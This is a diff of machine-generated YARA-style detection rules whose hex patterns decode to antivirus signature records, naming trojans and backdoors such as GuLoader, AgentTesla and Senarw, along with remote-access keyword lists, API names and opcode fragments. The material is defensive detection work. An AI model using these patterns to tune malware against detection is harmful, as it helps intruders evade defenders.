72 65 52 32 00 02 00 28 01 83 c6 23 46 b9 02 00 00 00 f7 e1 8b c8 8b 06 03 c8 8b 45 fc 03 c8 0f b7 01 83 ee 24 8b 4e 1c 8d 04 81 8b 4d fc 8b 04 01 01 00 12 03 2b c2 66 8b 08 66 81 c1 90 01 02 66 85 c9 75 f1 90 00 01 00 0d 01 8a 0f 03 d1 47 3b c8 75 f7 2b da ff d3 00 00 78 6b 00 00 03 00 03 00 03 00 21 23 } //0 + $a_6b_2 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 57 30 31 21 4d 54 42 00 01 00 0c 81 01 70 6c 61 6e 69 72 6f 73 74 72 61 6c 01 00 18 81 01 74 72 61 6e 73 76 65 63 74 69 6f 6e 20 66 61 63 74 72 69 78 2e 65 78 65 01 00 09 81 01 62 61 6e 65 6d 72 6b 65 72 00 00 78 6b 00 00 03 00 03 00 03 00 21 23 } //0 condition: ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28525+(#a_6b_2 & 1)*0) >=3 } -rule _InfrastructureShared_6443{ +rule _InfrastructureShared_6773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 47 34 32 21 4d 54 42 00 01 00 18 03 09 11 04 08 11 04 08 8e 69 5d 91 06 11 04 91 61 d2 6f 90 02 0f 58 90 00 01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 08 } //18467 - $a_65_1 = {42 79 74 65 73 00 00 78 6b 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 55 70 61 74 72 65 52 32 00 02 00 28 01 83 c6 23 46 b9 02 00 00 00 f7 e1 8b c8 8b 06 03 c8 8b 45 fc 03 c8 0f b7 01 83 ee 24 8b 4e 1c 8d 04 81 } //385 - $a_8b_2 = {01 01 00 12 03 2b c2 66 8b 08 66 81 c1 90 01 02 66 85 c9 75 f1 90 00 01 00 0d 01 8a 0f 03 d1 47 3b c8 75 f7 2b da ff d3 00 00 78 6b 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 58 57 31 32 33 21 4d 54 42 00 01 00 0f 81 01 77 68 69 6d 6d 69 65 72 20 65 76 65 72 65 64 01 00 12 81 01 74 76 72 6d 61 61 6c 65 74 20 71 75 65 6c 6c 75 6e 67 01 00 11 81 01 6d 69 73 73 75 69 74 65 64 20 73 70 72 67 65 72 65 00 00 78 6b 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 44 4d 31 32 33 21 4d 54 42 00 01 00 1c 81 01 7a 6f 6e 65 76 69 73 65 20 70 72 6f 64 75 6b 74 66 6f 72 72 65 74 6e 69 6e 67 65 72 01 00 06 81 01 61 6d 69 72 61 6c 01 00 10 81 01 6e 61 76 6c 65 62 } //19851 + $a_65_1 = {42 79 74 65 73 00 00 78 6b 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 57 30 31 21 4d 54 42 00 01 00 0c 81 01 70 6c 61 6e 69 72 6f 73 74 72 } //385 + $a_00_2 = {18 } //27745 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*385+(#a_8b_2 & 1)*19851) >=3 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*385+(#a_00_2 & 1)*27745) >=3 } -rule _InfrastructureShared_6444{ +rule _InfrastructureShared_6774{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 57 30 31 21 4d 54 42 00 01 00 0c 81 01 70 6c 61 6e 69 72 6f 73 74 72 61 6c 01 00 18 81 01 74 72 61 6e 73 76 65 63 74 69 6f 6e 20 66 61 63 74 72 69 78 2e 65 78 65 01 00 09 81 } //18467 + $a_6e_1 = {6d 72 6b 65 72 00 00 78 6b 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 55 70 61 74 72 65 52 32 00 02 00 28 01 83 c6 23 46 b9 02 00 00 00 f7 e1 8b c8 8b 06 03 c8 8b 45 fc 03 c8 0f b7 01 83 ee 24 8b 4e 1c 8d 04 81 8b 4d fc 8b 04 01 01 00 12 03 2b c2 66 8b 08 66 81 c1 90 01 02 66 85 c9 75 f1 } //25089 + $a_00_2 = {0d } //144 + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25089+(#a_00_2 & 1)*144) >=3 + +} +rule _InfrastructureShared_6775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -67154,7 +70601,7 @@ rule _InfrastructureShared_6444{ ((#a_54_0 & 1)*18467+(#a_c8_1 & 1)*18385+(#a_65_2 & 1)*28013) >=3 } -rule _InfrastructureShared_6445{ +rule _InfrastructureShared_6776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -67166,7 +70613,7 @@ rule _InfrastructureShared_6445{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25701+(#a_64_2 & 1)*28524) >=3 } -rule _InfrastructureShared_6446{ +rule _InfrastructureShared_6777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -67178,7 +70625,7 @@ rule _InfrastructureShared_6446{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*29541+(#a_20_2 & 1)*25441) >=3 } -rule _InfrastructureShared_6447{ +rule _InfrastructureShared_6778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -67190,7 +70637,7 @@ rule _InfrastructureShared_6447{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*24946+(#a_66_2 & 1)*28271) >=3 } -rule _InfrastructureShared_6448{ +rule _InfrastructureShared_6779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -67201,19 +70648,31 @@ rule _InfrastructureShared_6448{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*24950) >=3 } -rule _InfrastructureShared_6449{ +rule _InfrastructureShared_6780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 54 54 31 32 33 21 4d 54 42 00 01 00 0e 81 01 70 75 6d 70 20 6d 69 6c 69 74 73 65 6e 73 01 00 14 81 01 63 68 69 76 69 65 73 20 64 61 6e 73 65 68 65 73 74 65 6e 73 01 00 10 81 01 75 6e 64 65 66 6c } //18467 - $a_61_1 = {69 6c 69 74 79 00 00 78 6b 00 00 03 00 03 00 03 00 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 64 75 70 69 62 2e 67 65 6e 21 42 21 64 68 61 00 01 00 15 03 66 3d 06 00 77 90 01 01 75 90 01 01 66 83 7d 90 01 01 0b 90 00 01 00 10 01 68 c9 00 00 00 68 00 c0 69 2a 8b 80 58 0e 00 00 01 00 0b 00 41 45 53 2d 32 35 36 2d 45 43 42 } //25445 - $a_6b_2 = {00 03 00 03 00 05 00 21 23 48 53 54 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 53 65 6e 61 72 77 2e 53 30 30 32 00 01 00 05 80 01 7c 76 6e 63 7c 01 00 05 80 01 7c 72 64 70 7c 01 00 08 80 01 7c 75 70 64 61 74 65 7c 01 00 0a 80 01 7c 64 6f 77 6e 6c 6f 61 64 7c 01 00 0c 80 01 7c 70 6f 77 65 72 73 68 65 6c 6c 7c 00 00 78 6b 00 00 04 00 04 00 04 00 21 23 } //0 + $a_61_1 = {69 6c 69 74 79 00 00 78 6b 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 4b 30 31 21 4d 54 42 00 01 00 1d 81 01 73 79 6e 64 65 62 75 6b 6b 65 6e 73 20 62 75 73 73 74 6f 70 70 65 73 74 65 64 65 74 73 01 00 09 81 01 67 68 61 74 73 2e 65 78 65 01 00 0e 81 01 65 6c 65 76 61 74 6f 72 74 72 75 63 6b 73 } //25445 + $a_6b_2 = {00 03 00 03 00 03 00 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 64 75 70 69 62 2e 67 65 6e 21 42 21 64 68 61 00 01 00 15 03 66 3d 06 00 77 90 01 01 75 90 01 01 66 83 7d 90 01 01 0b 90 00 01 00 10 01 68 c9 00 00 00 68 00 c0 69 2a 8b 80 58 0e 00 00 01 00 0b 00 41 45 53 2d 32 35 36 2d 45 43 42 00 00 78 6b 00 00 03 00 03 00 05 00 21 23 } //0 condition: ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25445+(#a_6b_2 & 1)*0) >=3 } -rule _InfrastructureShared_6450{ +rule _InfrastructureShared_6781{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 4b 30 31 21 4d 54 42 00 01 00 1d 81 01 73 79 6e 64 65 62 75 6b 6b 65 6e 73 20 62 75 73 73 74 6f 70 70 65 73 74 65 64 65 74 73 01 00 09 81 01 67 68 61 74 73 2e 65 78 65 01 00 0e 81 01 65 6c 65 76 } //18467 + $a_72_1 = {72 75 63 6b 73 00 00 78 6b 00 00 03 00 03 00 03 00 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 64 75 70 69 62 2e 67 65 6e 21 42 21 64 68 61 00 01 00 15 03 66 3d 06 00 77 90 01 01 75 90 01 01 66 83 7d 90 01 01 0b 90 00 01 00 10 01 68 c9 00 00 00 68 00 c0 69 2a 8b 80 58 0e 00 00 01 00 0b 00 41 45 53 2d 32 35 } //29793 + $a_43_2 = {00 00 78 6b 00 00 03 00 03 00 05 00 21 23 48 53 54 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 53 65 6e 61 72 77 2e 53 30 30 32 00 01 00 05 80 01 7c 76 6e 63 7c 01 00 05 80 01 7c 72 64 70 7c 01 00 08 } //11574 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29793+(#a_43_2 & 1)*11574) >=3 + +} +rule _InfrastructureShared_6782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -67225,7 +70684,7 @@ rule _InfrastructureShared_6450{ ((#a_4c_0 & 1)*21539+(#a_8b_1 & 1)*27072+(#a_72_2 & 1)*28516) >=3 } -rule _InfrastructureShared_6451{ +rule _InfrastructureShared_6783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -67238,7 +70697,7 @@ rule _InfrastructureShared_6451{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30575+(#a_65_2 & 1)*3072+(#a_00_4 & 1)*110) >=3 } -rule _InfrastructureShared_6452{ +rule _InfrastructureShared_6784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -67249,7 +70708,7 @@ rule _InfrastructureShared_6452{ ((#a_46_0 & 1)*16675+(#a_00_3 & 1)*111) >=4 } -rule _InfrastructureShared_6453{ +rule _InfrastructureShared_6785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -67257,47 +70716,50 @@ rule _InfrastructureShared_6453{ $a_54_0 = {3a 4d 53 49 4c 2f 4e 61 6e 6f 42 6f 74 2e 41 51 21 4d 54 42 00 01 00 0e 00 42 00 20 00 75 00 20 00 74 00 20 00 61 00 01 00 10 00 66 00 6f 00 72 00 6d 00 4d 00 61 00 69 00 6e 00 01 00 13 01 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 01 } //18467 $a_52_1 = {70 } //1792 p $a_65_2 = {00 78 6b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4d 4e 48 31 32 33 21 4d 54 42 00 01 00 09 81 01 76 61 6e 64 64 79 62 64 65 01 00 07 81 01 6f 70 62 75 64 74 65 01 00 0a 81 01 61 66 62 65 6e 65 6e 64 65 73 01 00 13 81 01 70 61 75 6c 20 73 6c 75 } //24940 - $a_6b_3 = {72 64 65 72 6e 65 00 00 78 6b 00 00 04 00 04 00 04 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0c 01 46 74 70 50 75 74 46 69 6c 65 41 00 01 00 0f 01 52 65 67 53 65 74 56 61 6c 75 65 45 78 41 00 01 00 0f 01 53 69 7a 65 6f 66 52 65 73 6f 75 72 63 65 00 01 00 0e 01 52 74 6c 4d } //24948 + $a_6b_3 = {72 64 65 72 6e 65 00 00 78 6b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 49 58 31 21 4d 54 42 00 01 00 0d 81 01 62 6c 67 65 62 65 76 67 65 6c 73 65 6e 01 00 0c 81 01 42 72 75 74 74 6f 69 6e 64 74 67 74 01 00 09 81 01 53 69 6c 6b 65 61 62 65 72 01 00 0e 81 01 42 6f 72 65 } //24948 condition: ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*1792+(#a_65_2 & 1)*24940+(#a_6b_3 & 1)*24948) >=4 } -rule _InfrastructureShared_6454{ +rule _InfrastructureShared_6786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4d 4e 48 31 32 33 21 4d 54 42 00 01 00 09 81 01 76 61 6e 64 64 79 62 64 65 01 00 07 81 01 6f 70 62 75 64 74 65 01 00 0a 81 01 61 66 62 65 6e 65 6e 64 65 73 01 00 13 81 01 70 61 75 6c 20 73 6c 75 74 } //18467 - $a_6f_1 = {64 65 72 6e 65 00 00 78 6b 00 00 04 00 04 00 04 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0c 01 46 74 70 50 75 74 46 69 6c 65 41 00 01 00 0f 01 52 65 67 53 65 74 56 61 6c 75 65 45 78 41 00 01 00 0f 01 53 69 7a 65 6f 66 52 65 73 6f 75 72 63 65 00 01 00 0e 01 52 74 6c 4d 6f } //27489 - $a_65_2 = {6f 72 79 00 00 00 78 6b 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 43 2e 45 41 41 4e 21 4d 54 42 00 05 00 3d 01 11 30 11 2d 11 2f 91 58 11 2e 11 2f 91 58 20 00 01 00 00 5d 13 30 11 } //25974 - $a_91_3 = {32 11 2d 11 30 11 2d 11 2f 91 9c 11 2d 11 2f 11 32 9c 11 2f 17 58 13 2f 11 2f 20 00 01 00 00 32 c3 00 00 78 6b 00 00 05 00 05 00 01 00 21 23 48 } //4397 + $a_6f_1 = {64 65 72 6e 65 00 00 78 6b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 49 58 31 21 4d 54 42 00 01 00 0d 81 01 62 6c 67 65 62 65 76 67 65 6c 73 65 6e 01 00 0c 81 01 42 72 75 74 74 6f 69 6e 64 74 67 74 01 00 09 81 01 53 69 6c 6b 65 61 62 65 72 01 00 0e 81 01 42 6f 72 65 6d } //27489 + $a_69_2 = {67 65 72 73 00 00 78 6b 00 00 04 00 04 00 04 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0c 01 46 74 70 50 75 74 46 69 6c 65 41 00 01 00 0f 01 52 65 67 53 65 74 56 61 6c 75 65 45 78 41 00 01 00 0f 01 53 69 7a 65 6f 66 52 65 73 6f 75 72 63 65 00 01 00 0e 01 52 74 6c 4d 6f 76 65 } //29557 + $a_6f_3 = {79 00 00 00 78 6b 00 00 05 00 05 00 01 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 56 69 64 65 66 65 73 7a 2e 41 21 4d 54 42 00 05 00 43 03 55 8b ec 51 89 4d fc c7 05 54 23 43 00 74 a0 42 00 90 01 05 58 90 01 04 83 c4 04 a3 d8 26 43 00 90 02 10 83 c4 04 a3 d0 21 43 00 90 02 10 83 c4 04 a3 08 26 43 00 90 02 10 83 c4 04 a3 00 26 } //25933 condition: - ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*27489+(#a_65_2 & 1)*25974+(#a_91_3 & 1)*4397) >=4 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*27489+(#a_69_2 & 1)*29557+(#a_6f_3 & 1)*25933) >=4 } -rule _InfrastructureShared_6455{ +rule _InfrastructureShared_6787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : - $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0c 01 46 74 70 50 75 74 46 69 6c 65 41 00 01 00 0f 01 52 65 67 53 65 74 56 61 6c 75 65 45 78 41 00 01 00 0f 01 53 69 7a 65 6f 66 52 65 73 6f 75 72 63 65 00 01 00 0e 01 52 74 6c 4d 6f 76 65 4d 65 6d 6f 72 79 00 00 00 78 6b 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a } //25635 - $a_6a_1 = {6e 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 43 2e 45 41 41 4e 21 4d 54 42 00 05 00 3d 01 11 30 11 2d 11 2f 91 58 11 2e 11 2f 91 58 20 00 01 00 00 5d 13 30 11 2d 11 30 91 13 32 11 2d 11 30 11 2d 11 2f 91 9c 11 2d 11 2f 11 32 9c 11 2f 17 58 13 2f 11 2f 20 00 01 00 00 32 c3 00 00 78 6b 00 00 05 00 05 00 01 00 21 23 48 53 54 52 3a 57 69 6e 33 } //29268 - $a_69_2 = {65 66 65 73 7a 2e 41 21 4d 54 42 00 05 00 43 03 55 8b ec 51 89 4d fc c7 05 54 23 43 00 74 a0 42 00 90 01 05 58 90 01 04 83 c4 04 a3 d8 26 43 00 90 02 10 83 c4 04 a3 d0 21 43 00 90 02 10 83 c4 04 a3 08 26 43 00 90 02 10 83 c4 04 a3 00 26 43 00 90 00 00 00 78 } //12082 + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 49 58 31 21 4d 54 42 00 01 00 0d 81 01 62 6c 67 65 62 65 76 67 65 6c 73 65 6e 01 00 0c 81 01 42 72 75 74 74 6f 69 6e 64 74 67 74 01 00 09 81 01 53 69 6c 6b 65 61 62 65 72 01 00 0e 81 01 42 6f 72 65 } //18467 + $a_6c_1 = {6e 67 65 72 73 00 00 78 6b 00 00 04 00 04 00 04 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0c 01 46 74 70 50 75 74 46 69 6c 65 41 00 01 00 0f 01 52 65 67 53 65 74 56 61 6c 75 65 45 78 41 00 01 00 0f 01 53 69 7a 65 6f 66 52 65 73 6f 75 72 63 65 00 01 00 0e 01 52 74 6c 4d 6f 76 65 4d 65 6d 6f 72 79 } //30061 + $a_00_3 = {05 00 01 00 21 } //0 condition: - ((#a_5f_0 & 1)*25635+(#a_6a_1 & 1)*29268+(#a_69_2 & 1)*12082) >=4 + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*30061+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_6456{ +rule _InfrastructureShared_6788{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 43 2e 45 41 41 4e 21 4d 54 42 00 05 00 3d 01 11 30 11 2d 11 2f 91 58 11 2e 11 2f 91 58 20 00 01 00 00 5d 13 30 11 2d 11 30 91 13 32 11 2d 11 30 11 2d 11 2f 91 9c 11 2d 11 2f 11 } //16675 + $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0c 01 46 74 70 50 75 74 46 69 6c 65 41 00 01 00 0f 01 52 65 67 53 65 74 56 61 6c 75 65 45 78 41 00 01 00 0f 01 53 69 7a 65 6f 66 52 65 73 6f 75 72 63 65 00 01 00 0e 01 52 74 6c 4d 6f 76 65 4d 65 6d 6f 72 79 00 00 00 78 6b 00 00 05 00 05 00 01 00 21 23 48 53 54 52 } //25635 + $a_6e_1 = {32 2f 56 69 64 65 66 65 73 7a 2e 41 21 4d 54 42 00 05 00 43 03 55 8b ec 51 89 4d fc c7 05 54 23 43 00 74 a0 42 00 90 01 05 58 90 01 04 83 c4 04 a3 d8 26 43 00 90 02 10 83 c4 04 a3 d0 21 43 00 90 02 10 83 c4 04 a3 08 26 43 00 90 02 10 83 c4 04 a3 00 26 43 00 90 00 00 00 78 6b 00 00 05 00 05 00 02 00 21 23 54 45 4c } //22330 + $a_6f_2 = {61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 44 53 21 4d 54 42 00 03 00 34 01 57 41 52 4e 49 4e 47 21 21 21 20 54 68 69 73 20 43 4f 4d 50 55 54 45 52 20 69 73 20 49 4e 46 45 43 54 45 44 20 77 69 74 68 20 73 6f 6d 65 20 76 69 72 75 73 02 00 08 01 62 61 64 31 2e 65 78 65 00 00 78 6b 00 00 05 00 05 00 03 00 21 23 54 45 4c 50 45 52 3a 42 61 63 6b } //21562 + $a_72_3 = {57 69 6e 33 32 2f 44 6f 6f 62 65 78 2e 45 21 64 68 61 00 04 00 19 00 be 11 00 00 00 5f 8b ff 8a 0b 30 48 ff 8a 13 30 10 83 c0 02 83 ee 01 75 ef 01 00 08 01 65 6d 76 65 6d 75 64 6d 01 00 11 01 5c 5c 2e 5c 6d 61 69 6c 73 6c 6f 74 5c 7e 44 46 35 00 00 78 6b 00 00 06 00 06 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //28516 condition: - ((#a_46_0 & 1)*16675) >=5 + ((#a_5f_0 & 1)*25635+(#a_6e_1 & 1)*22330+(#a_6f_2 & 1)*21562+(#a_72_3 & 1)*28516) >=4 } -rule _InfrastructureShared_6457{ +rule _InfrastructureShared_6789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -67307,7 +70769,18 @@ rule _InfrastructureShared_6457{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_6458{ +rule _InfrastructureShared_6790{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 44 53 21 4d 54 42 00 03 00 34 01 57 41 52 4e 49 4e 47 21 21 21 20 54 68 69 73 20 43 4f 4d 50 55 54 45 52 20 69 73 20 49 4e 46 45 43 54 45 44 20 77 69 74 } //21539 + $a_6f_1 = {65 20 76 69 72 75 73 02 00 08 01 62 61 64 31 2e 65 78 65 00 00 78 6b 00 00 05 00 05 00 03 00 21 23 54 45 4c 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 44 6f 6f 62 65 78 2e 45 21 64 68 61 00 04 00 19 00 be 11 00 00 00 5f 8b ff 8a 0b 30 48 ff 8a 13 30 10 83 c0 02 83 ee 01 75 ef 01 00 08 01 65 6d 76 65 6d 75 64 6d 01 00 11 01 5c 5c } //8296 + condition: + ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*8296) >=5 + +} +rule _InfrastructureShared_6791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -67319,7 +70792,7 @@ rule _InfrastructureShared_6458{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*25717+(#a_01_2 & 1)*22923) >=5 } -rule _InfrastructureShared_6459{ +rule _InfrastructureShared_6792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -67330,7 +70803,7 @@ rule _InfrastructureShared_6459{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*18827) >=6 } -rule _InfrastructureShared_6460{ +rule _InfrastructureShared_6793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -67345,7 +70818,7 @@ rule _InfrastructureShared_6460{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_6b_2 & 1)*0+(#a_3a_3 & 1)*19521+(#a_6a_4 & 1)*-29182+(#a_a6_5 & 1)*1281) >=6 } -rule _InfrastructureShared_6461{ +rule _InfrastructureShared_6794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -67358,7 +70831,7 @@ rule _InfrastructureShared_6461{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_41_4 & 1)*8448+(#a_07_5 & 1)*826) >=6 } -rule _InfrastructureShared_6462{ +rule _InfrastructureShared_6795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -67368,7 +70841,7 @@ rule _InfrastructureShared_6462{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_6463{ +rule _InfrastructureShared_6796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -67378,7 +70851,7 @@ rule _InfrastructureShared_6463{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_6464{ +rule _InfrastructureShared_6797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -67388,7 +70861,7 @@ rule _InfrastructureShared_6464{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_6465{ +rule _InfrastructureShared_6798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -67398,7 +70871,7 @@ rule _InfrastructureShared_6465{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6466{ +rule _InfrastructureShared_6799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -67408,7 +70881,18 @@ rule _InfrastructureShared_6466{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6467{ +rule _InfrastructureShared_6800{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " + + strings : + $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 46 65 6e 64 65 72 45 6e 64 65 72 2e 41 21 64 68 61 00 05 00 20 01 50 72 6f 63 65 73 73 20 25 6c 75 20 68 61 73 20 62 65 65 6e 20 74 65 72 6d 69 6e 61 74 65 64 21 05 00 11 01 } //16675 + $a_76_1 = {48 8b 4d 08 ff 15 94 68 12 00 85 c0 00 00 78 6b 00 00 0b 00 0b 00 03 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 50 61 63 6b 65 72 2e 52 75 6e 50 45 2e 41 00 0a 00 06 00 52 75 6e 50 45 00 01 00 1b 03 0a 06 16 02 a2 90 02 01 06 17 03 a2 90 02 01 06 72 90 01 04 72 90 01 04 28 90 00 01 00 1b 03 16 02 a2 00 11 90 01 01 17 03 a2 00 11 90 01 01 72 90 01 04 72 90 01 04 28 90 00 00 00 78 6b 00 00 0f 00 0f 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 59 6d 61 63 63 6f 2e 4d 52 21 4d 54 42 00 0a 00 25 01 89 c3 66 c1 d7 02 38 fd d3 e9 d2 e9 89 c7 0f c9 b9 04 01 00 } //1210 + condition: + ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*1210) >=10 + +} +rule _InfrastructureShared_6801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -67419,7 +70903,18 @@ rule 